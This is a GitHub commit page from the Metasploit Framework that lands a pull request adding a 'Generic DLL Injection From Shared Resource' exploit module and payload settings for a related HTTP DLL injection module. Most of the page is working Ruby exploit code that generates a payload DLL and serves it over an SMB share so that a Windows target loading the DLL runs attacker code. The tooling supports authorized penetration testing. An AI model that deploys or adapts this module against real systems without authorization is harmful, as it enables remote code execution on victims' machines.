Skip to content

Commit b9a30d6

Browse files
committed
Land rapid7#3294, @0x41414141's generic dll injection through SMB shared folder
2 parents bcdf261 + e715eab commit b9a30d6

File tree

2 files changed

+72
-1
lines changed

2 files changed

+72
-1
lines changed

modules/exploits/windows/http/generic_http_dll_injection.rb

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -17,7 +17,7 @@ def initialize(info={})
1717
'Name' => 'Generic Web Application DLL Injection',
1818
'Description' => %q{
1919
This is a general-purpose module for exploiting conditions where a HTTP request
20-
triggers a DLL load from a specified SMB share. This module serves payloads as
20+
triggers a DLL load from an specified SMB share. This module serves payloads as
2121
DLLs over an SMB service and allows an arbitrary HTTP URL to be called that would
2222
trigger the load of the DLL.
2323
},
@@ -29,6 +29,11 @@ def initialize(info={})
2929
'Privileged' => false,
3030
'Arch' => [ARCH_X86, ARCH_X86_64],
3131
'Stance' => Msf::Exploit::Stance::Aggressive,
32+
'Payload' =>
33+
{
34+
'Space' => 2048,
35+
'DisableNops' => true
36+
},
3237
'References' =>
3338
[
3439
['CWE', '427']
Lines changed: 66 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ManualRanking
10+
11+
include Msf::Exploit::Remote::SMB::Server::Share
12+
include Msf::Exploit::EXE
13+
14+
def initialize(info={})
15+
super(update_info(info,
16+
'Name' => 'Generic DLL Injection From Shared Resource',
17+
'Description' => %q{
18+
This is a general-purpose module for exploiting conditions where a DLL can be loaded
19+
from an specified SMB share. This module serves payloads as DLLs over an SMB service.
20+
},
21+
'Author' =>
22+
[
23+
'Matthew Hall <hallm[at]sec-1.com>'
24+
],
25+
'References' =>
26+
[
27+
['CWE', '114']
28+
],
29+
'DefaultOptions' =>
30+
{
31+
'EXITFUNC' => 'thread',
32+
},
33+
'Privileged' => false,
34+
'Platform' => 'win',
35+
'Arch' => [ARCH_X86, ARCH_X86_64],
36+
'Payload' =>
37+
{
38+
'Space' => 2048,
39+
'DisableNops' => true
40+
},
41+
'Targets' =>
42+
[
43+
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
44+
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
45+
],
46+
'DefaultTarget' => 0,
47+
'DisclosureDate' => 'Mar 04 2015'
48+
))
49+
50+
register_options(
51+
[
52+
OptString.new('FILE_NAME', [ false, 'DLL File name to share (Default: random .dll)'])
53+
], self.class)
54+
55+
deregister_options('FILE_CONTENTS')
56+
end
57+
58+
def setup
59+
super
60+
61+
self.file_contents = generate_payload_dll
62+
self.file_name = datastore['FILE_NAME'] || "#{Rex::Text.rand_text_alpha(4 + rand(3))}.dll"
63+
print_status("File available on #{unc}...")
64+
end
65+
66+
end

0 commit comments

Comments
 (0)